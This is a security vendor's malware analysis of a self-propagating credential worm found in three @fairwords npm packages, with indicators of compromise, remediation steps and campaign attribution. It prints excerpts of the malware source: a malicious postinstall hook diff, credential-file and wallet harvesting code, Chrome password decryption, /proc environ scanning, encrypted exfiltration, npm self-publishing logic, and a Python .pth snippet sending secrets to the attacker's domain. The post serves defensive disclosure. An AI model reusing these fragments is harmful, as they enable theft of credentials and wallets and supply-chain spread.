---
title: "@fairwords npm Packages Hit by Credential Worm"
description: "Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens."
url: "https://safedep.io/blog/malicious-fairwords-npm-credential-worm"
author: "SafeDep Team"
published: "2026-04-08"
---

# @fairwords npm Packages Hit by Credential Worm

## TL;DR

An attacker compromised three npm packages under the `@fairwords` scope, `@fairwords/websocket@1.0.38`, `@fairwords/loopback-connector-es@1.4.3`, and `@fairwords/encryption@0.0.5`, simultaneously on April 8, 2026 (UTC). All three received an identical `postinstall` hook that runs a 1,149-line credential harvesting and self-propagation payload (`scripts/check-env.js`). The malware steals environment variables, SSH keys, cloud credentials, crypto wallet data, Chrome saved passwords, and `.env` files. It encrypts the stolen data with RSA-4096 and exfiltrates to two redundant channels: an HTTPS webhook and an Internet Computer (ICP) canister. If an npm token is found on the victim machine, the worm self-propagates by infecting other packages the token can publish. It also attempts cross-ecosystem propagation to PyPI using the `.pth` persistence technique.

**Impact:**

- Harvests sensitive environment variables matching 40+ patterns (AWS, GCP, Azure, GitHub, OpenAI, Stripe, etc.)
- Reads SSH keys, `.npmrc`, `.git-credentials`, `.netrc`, cloud CLI configs, Kubernetes configs, Docker auth
- Exfiltrates crypto wallet data: Solana keypairs, Ethereum keystores, Bitcoin wallet.dat, MetaMask (Chrome/Brave/Firefox), Phantom, Exodus, Atomic Wallet
- Decrypts Chrome saved passwords on Linux using the PBKDF2("peanuts", "saltysalt") key
- Self-propagates to all npm packages the victim's token can publish
- Attempts cross-ecosystem propagation to PyPI via `.pth` file injection

**Indicators of Compromise (IoC):**

| Indicator          | Value                                                                                                |
| ------------------ | ---------------------------------------------------------------------------------------------------- |
| Package            | `@fairwords/websocket@1.0.38` and `@1.0.39`                                                          |
| Package            | `@fairwords/loopback-connector-es@1.4.3` and `@1.4.4`                                                |
| Package            | `@fairwords/encryption@0.0.5` and `@0.0.6` (postinstall hook present, payload files missing)         |
| Payload            | `scripts/check-env.js` (SHA256: `4dbecce9ab3cf1739a9b90f9a9f304a3a44f69332320ae0753c129cf078e6f34`)  |
| Propagated payload | SHA256: `513eed96cabdea495a7141666eb77216dee6f0754ef643917346a47a2ff61476`                           |
| C2 Webhook         | `hxxps://telemetry[.]api-monitor[.]com/v1/telemetry` (143.198.237.25, DigitalOcean, Santa Clara, US) |
| C2 Canister        | `l6wk4-myaaa-aaaac-qghxq-cai[.]raw[.]icp0[.]io/drop` (Internet Computer)                             |
| Network (sandbox)  | `23.236.116.77:443` (observed during `@fairwords/websocket@1.0.38` sandbox analysis)                 |
| Network (sandbox)  | `209.34.235.18:443` (observed during `@fairwords/loopback-connector-es@1.4.3` sandbox analysis)      |
| RSA Public Key     | `public.pem` (4096-bit, SHA256: `834b6e5db5710b9308d0598978a0148a9dc832361f1fa0b7ad4343dcceba2812`)  |
| Postinstall hook   | `node scripts/check-env.js \|\| true`                                                                |

## Analysis

### Package Overview

The `@fairwords` npm scope is used internally by FairWords/MyComplianceOffice (a compliance software company). The scope has 21 maintainers with `@fairwords.com` and `@mycomplianceoffice.com` email addresses. `@fairwords/websocket` is a fork of the popular `websocket` package (WebSocket-Node by theturtle32), `@fairwords/loopback-connector-es` is a fork of a LoopBack Elasticsearch connector, and `@fairwords/encryption` is an internal encryption utility.

All three packages had been dormant since 2022. On **April 8, 2026 at 02:58 UTC**, all three received malicious versions simultaneously (`websocket@1.0.38`, `loopback-connector-es@1.4.3`, `encryption@0.0.5`). Approximately 8 minutes later, the worm self-propagated, publishing second-generation versions (`1.0.39`, `1.4.4`, `0.0.6`). These versions **still contain the malicious payload** (a stripped-down variant without comments but functionally identical), confirming the worm used the compromised token to re-publish itself. The fourth package in the scope, `@fairwords/abstraction-layer`, was not affected.

The `encryption@0.0.6` propagation was partially broken: `package.json` has the postinstall hook, but the `scripts/check-env.js` and `public.pem` files are missing from the tarball. The `|| true` in the hook makes it fail silently, so the payload does not execute on this package.

### Execution Trigger

All three packages received an identical change: a `postinstall` script was added to `package.json`, plus two new files (`scripts/check-env.js` and `public.pem`):

```diff
// package.json diff (both packages)
  "scripts": {
-    "gulp": "gulp"
+    "gulp": "gulp",
+    "postinstall": "node scripts/check-env.js || true"
  }
```

The `|| true` ensures the install succeeds even if the payload crashes. The payload is wired to the package's `postinstall` lifecycle script, so it executes during `npm install` of the affected package.

### Phase 1: Credential Harvesting

The `harvest()` function collects:

**Environment variables** matching 40+ regex patterns covering every major cloud, CI/CD, and SaaS provider:

```javascript
// scripts/check-env.js
const sensitivePatterns = [
  /TOKEN/i,
  /SECRET/i,
  /KEY/i,
  /PASSWORD/i,
  /CREDENTIAL/i,
  /^AWS_/i,
  /^AZURE_/i,
  /^GCP_/i,
  /^GOOGLE_/i,
  /^NPM_/i,
  /^GITHUB_/i,
  /^GITLAB_/i,
  /^DOCKER_/i,
  /^OPENAI/i,
  /^ANTHROPIC/i,
  /^COHERE/i, // LLM API keys
  /^PRIVATE/i,
  /^SIGNING/i,
  /^ENCRYPTION/i, // Crypto material
  // ... 40+ patterns total
];
```

**Filesystem secrets** from 30+ locations including `.npmrc`, SSH keys, `.git-credentials`, `.netrc`, AWS/GCP/Azure CLI configs, Kubernetes configs, Docker auth, Terraform/Pulumi credentials, Heroku/Vercel/Netlify configs, database password files (`.pgpass`, `.my.cnf`), and CI/CD tokens:

```javascript
// scripts/check-env.js
grab('npmrc', path.join(home, '.npmrc'));
grabDir('ssh_keys', path.join(home, '.ssh'), (f) => f.startsWith('id_') || f === 'config' || f === 'known_hosts');
grab('aws_credentials', path.join(home, '.aws', 'credentials'));
grab('kubeconfig', path.join(home, '.kube', 'config'));
grab('terraform_credentials', path.join(home, '.terraform.d', 'credentials.tfrc.json'));
```

**Crypto wallet data**, reading the actual wallet files (not just checking existence):

```javascript
// scripts/check-env.js — Solana private key (plaintext JSON, immediately spendable)
grab('solana_keypair', path.join(home, '.config', 'solana', 'id.json'));

// Ethereum Geth keystore — all files, AES-encrypted
grabDir('ethereum_keystore', path.join(home, '.ethereum', 'keystore'), () => true);

// MetaMask Chrome extension LevelDB — contains AES-GCM encrypted vault
const mmChrome = path.join(
  home,
  '.config',
  'google-chrome',
  'Default',
  'Local Extension Settings',
  'nkbihfbeogaeaoehlefnkodbefgpgknn'
);
```

The payload targets MetaMask (Chrome, Brave, Firefox), Phantom (Solana), Exodus, Atomic Wallet, Bitcoin Core (`wallet.dat`), and Electrum wallets.

**Chrome password decryption.** On Linux, Chromium's [v10 encryption path](https://chromium.googlesource.com/chromium/src/%2B/b84cb1ef04a5c/docs/security/faq.md#passwords-local-data) uses a key derived from PBKDF2 with the hardcoded password `peanuts` and salt `saltysalt` (1 iteration). Current Chrome versions prefer a key stored in Secret Service or KWallet when available, but the v10 fallback remains in the codebase. The payload targets this legacy path:

```javascript
// scripts/check-env.js
const password = 'peanuts';
const salt = Buffer.from('saltysalt');
const key = crypto.pbkdf2Sync(password, salt, 1, 16, 'sha1');
// ... decrypts and exfiltrates up to 50 saved passwords
```

**Process environment scanning.** On Linux, the payload reads `/proc/[pid]/environ` for other processes, looking for tokens and secrets in their environment:

```javascript
// scripts/check-env.js
const procs = fs
  .readdirSync('/proc')
  .filter((f) => /^\d+$/.test(f))
  .slice(0, 50);
for (const pid of procs) {
  const env = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
  if (/TOKEN|SECRET|KEY|PASSWORD/i.test(env)) {
    procEnvs.push({ pid, cmdline, env });
  }
}
```

Our [dynamic analysis](https://safedep.io/dynamic-analysis-oss-package-at-scale/) infra captured this behavior at runtime — the payload was observed reading `/proc/[pid]/environ` for multiple processes within milliseconds:

[fairwords-syscall-events.csv](https://safedep.io/data/blogs/fairwords-syscall-events.csv)

### Phase 2: Encrypted Exfiltration

All harvested data is encrypted with a hybrid RSA-4096 + AES-256-CBC scheme. A random 32-byte AES session key encrypts the payload, and the session key is then encrypted with the attacker's 4096-bit RSA public key (bundled as `public.pem`). Only the holder of the private key can decrypt:

```javascript
// scripts/check-env.js
const sessionKey = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv('aes-256-cbc', sessionKey, iv);
// ... encrypt payload ...
const encKey = crypto.publicEncrypt(
  { key: pubKey, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' },
  sessionKey
);
```

The encrypted blob goes to **two independent exfiltration channels**:

1. **HTTPS webhook** at `hxxps://telemetry[.]api-monitor[.]com/v1/telemetry` (143.198.237.25, DigitalOcean, Santa Clara). The malware includes an HMAC-SHA256 header to authenticate uploads to the webhook. The TLS certificate was issued by Let's Encrypt on April 5, 2026.

2. **Internet Computer (ICP) canister** at `l6wk4-myaaa-aaaac-qghxq-cai[.]raw[.]icp0[.]io/drop`. This is a decentralized, censorship-resistant storage backend. The canister is live and accepting data (returns `{"success":true}` on POST). Large payloads are chunked into 800KB segments. This channel requires no authentication and provides a takedown-resistant fallback.

### Phase 3-5: npm Self-Propagation

If an npm token is found (via `NPM_TOKEN` env var or `.npmrc`), the worm:

1. Calls `/-/whoami` to identify the token owner
2. Enumerates all packages the token can publish via `/-/user/org.couchdb.user:{username}/package`
3. For each package: downloads the latest tarball, injects the `postinstall` hook and payload, bumps the patch version, and publishes

```javascript
// scripts/check-env.js — the self-propagation core
pj.scripts.postinstall = 'node scripts/check-env.js || true';
fs.copyFileSync(__filename, path.join(scriptsDir, 'check-env.js'));
execSync(`npm publish --userconfig="${rc}" --registry="${REGISTRY}"`, {
  cwd: pkgDir,
  stdio: 'pipe',
  timeout: 30000,
});
```

The second-generation versions (`1.0.39`, `1.4.4`, `0.0.6`), published 8 minutes after the initial compromise, confirm this: they contain a variant of the same payload (different hash, comments stripped, same functionality). The `encryption@0.0.6` propagation was incomplete: the postinstall hook is present but the payload files were not included in the tarball.

### Phase 6: Cross-Ecosystem PyPI Propagation

If a PyPI token is found (via `TWINE_PASSWORD` or `~/.pypirc`), the worm crosses into the Python ecosystem using the `.pth` file technique. Python's `site` module processes `.pth` files in `site-packages` at every interpreter startup — any line starting with `import` is executed as code, which the malware exploits to run its payload:

```javascript
// scripts/check-env.js — .pth payload (Python code)
return `import os, sys, json, urllib.request, socket, platform
_creds = {k: v for k, v in os.environ.items() if any(p in k.upper()
  for p in ['TOKEN','SECRET','KEY','PASSWORD','CREDENTIAL',...])}
// ... harvest and exfiltrate to telemetry.api-monitor.com/v1/drop
`;
```

Every `python` invocation on an infected system re-harvests and exfiltrates credentials, not just during package installation.

### Safety Controls (Attacker Configuration)

The payload includes configurable propagation controls via environment variables:

| Variable       | Default          | Purpose                                                     |
| -------------- | ---------------- | ----------------------------------------------------------- |
| `DIST_SYNC`    | `true` (dry run) | When `false`, enables actual propagation                    |
| `DIST_SCOPE`   | `0`              | Max packages to infect (0 = log only, `unlimited` = no cap) |
| `_PKG_INIT`    | unset            | Recursion guard to prevent re-infection loops               |
| `PY_DIST_SYNC` | `true` (dry run) | PyPI propagation toggle                                     |

With defaults, the worm harvests and exfiltrates credentials but logs propagation without executing it. The attacker likely deployed incrementally: credential theft first, propagation enabled per target.

## Remediation

If you installed any of these versions: `@fairwords/websocket@1.0.38` or `@1.0.39`, `@fairwords/loopback-connector-es@1.4.3` or `@1.4.4`, `@fairwords/encryption@0.0.5` or `@0.0.6`:

1. **Rotate all credentials** on the affected machine immediately: npm tokens, AWS/GCP/Azure keys, SSH keys, GitHub tokens, database passwords, API keys
2. **Check crypto wallets**: if Solana CLI, MetaMask, Phantom, Exodus, or Atomic Wallet data was present, consider those wallets compromised
3. **Audit npm publishes**: check if any packages you maintain received unexpected version bumps
4. **Review Chrome saved passwords**: if running on Linux, assume all Chrome-saved passwords are compromised
5. Remove the packages and reinstall from known-clean versions (1.0.37 for websocket, 1.4.2 for loopback-connector-es, 0.0.4 for encryption)

## Attribution: TeamPCP / CanisterWorm Campaign

This compromise is a new instance of the [CanisterWorm](https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise) worm, part of the broader [TeamPCP supply chain campaign](https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-teampcp-supply-chain-campaign/) that has been active since March 2026. The payload identifies itself: the header comment reads "Models the full SHA1-Hulud attack chain" and references "TeamPCP .pth technique" and "TeamPCP/LiteLLM method" six times throughout the source.

The technical fingerprints match the known campaign:

- **ICP canister as dead-drop.** CanisterWorm was the [first publicly documented malware to use ICP canisters](https://thehackernews.com/2026/03/trivy-supply-chain-attack-triggers-self.html) for C2. This payload uses the same pattern (`l6wk4-myaaa-aaaac-qghxq-cai.raw.icp0.io/drop`).
- **npm token self-propagation.** The same mechanism documented in [CanisterWorm's self-spreading mutations](https://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/): steal token, enumerate packages, inject postinstall hook, bump version, publish.
- **Cross-ecosystem .pth injection.** TeamPCP pioneered this in the [LiteLLM compromise](https://safedep.io/blog/malicious-litellm-1-82-8-analysis) (March 24, 2026), where `.pth` files execute on every Python interpreter startup.

The known campaign timeline: [Trivy compromise](https://www.paloaltonetworks.com/blog/cloud-security/trivy-supply-chain-attack/) (March 19) → CanisterWorm on npm (March 2026) → [LiteLLM on PyPI](https://safedep.io/blog/malicious-litellm-1-82-8-analysis) (March 24) → `@fairwords` (April 8). This variant adds Chrome password decryption, comprehensive crypto wallet theft (Solana, Ethereum, MetaMask, Phantom, Exodus, Atomic), and `/proc/environ` scanning.

## Conclusion

The @fairwords compromise is the latest known propagation of the TeamPCP/CanisterWorm campaign, hitting three out of four internal packages belonging to a compliance software company. The payload combines credential harvesting across every major cloud and CI/CD platform, crypto wallet theft, Chrome password decryption, redundant encrypted exfiltration (HTTPS + decentralized ICP canister), npm self-propagation, and cross-ecosystem PyPI infection in a single `postinstall` script. The ICP canister as an exfiltration channel remains a takedown-resistant storage backend that traditional domain-based blocking cannot address.
